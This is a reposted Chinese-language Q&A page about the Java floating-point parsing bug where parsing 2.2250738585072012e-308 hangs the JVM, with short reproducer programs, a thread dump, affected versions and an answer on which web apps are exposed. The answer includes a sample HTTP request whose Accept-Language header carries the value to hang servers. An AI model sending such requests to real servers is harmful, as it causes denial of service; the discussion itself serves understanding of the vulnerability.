加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程开发 > Java > 正文

java – 哪种类型的webapps可以真实地受到浮动bug的影响?

发布时间:2020-12-14 16:46:56 所属栏目:Java 来源:网络整理
导读:有一个简单的方法来完全锁定很多JVM: class runhang {public static void main(String[] args) { System.out.println("Test:"); double d = Double.parseDouble("2.2250738585072012e-308"); System.out.println("Value: " + d); }} 或者,挂起编译器: clas
有一个简单的方法来完全锁定很多JVM:
class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

或者,挂起编译器:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}

如下所述:http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/

我的问题很简单:你知道哪种精心设计的网络应用程序可以被现实的影响?

换句话说:攻击者可以使用哪种类型的webapps使用已知的弱点来执行拒绝服务?

这是坏的,这是非常糟糕的.但除了使用浮点数进行货币计算的程序员,我看不到有许多Java支持的网站可能会崩溃.

我可以看到玩具科学小苹果是候选人,但除此之外…

这是一个阻塞线程的线程(在Linux上使用“kill -3”):

"main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728]
        at sun.misc.FDBigInt.mult(FloatingDecimal.java:2617)
        at sun.misc.FloatingDecimal.multPow52(FloatingDecimal.java:158)
        at sun.misc.FloatingDecimal.doubleValue(FloatingDecimal.java:1510)
        at java.lang.Double.parseDouble(Double.java:482)

编辑

JVM锁定在这里:

java版“1.5.0_10”
Java(TM)2运行环境标准版(build 1.5.0_10-b03)
Java HotSpot(TM)服务器虚拟机(构建1.5.0_10-b03,混合模式)

java版本“1.6.0_17”
Java(TM)SE运行时环境(build 1.6.0_17-b04)
Java HotSpot(TM)服务器虚拟机(构建14.3-b01,混合模式)

解决方法

许多Web服务器使用Double.parse解析部分HTTP头,所以我们在这里处理基础架构(除了在容器中运行的应用程序的任何问题).您浏览的二进制博客的评论链接到以下为例:
GET / HTTP/1.1
Host: myhost
Connection: keep-alive
Accept-Language: en-us;q=2.2250738585072012e-308

如果请求所针对的servlet调用任何本地化API(然后尝试解析语言头),则上述将使服务器关闭.

所以是的,这是一个很大的问题.攻击面相当大,后果相当高.

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读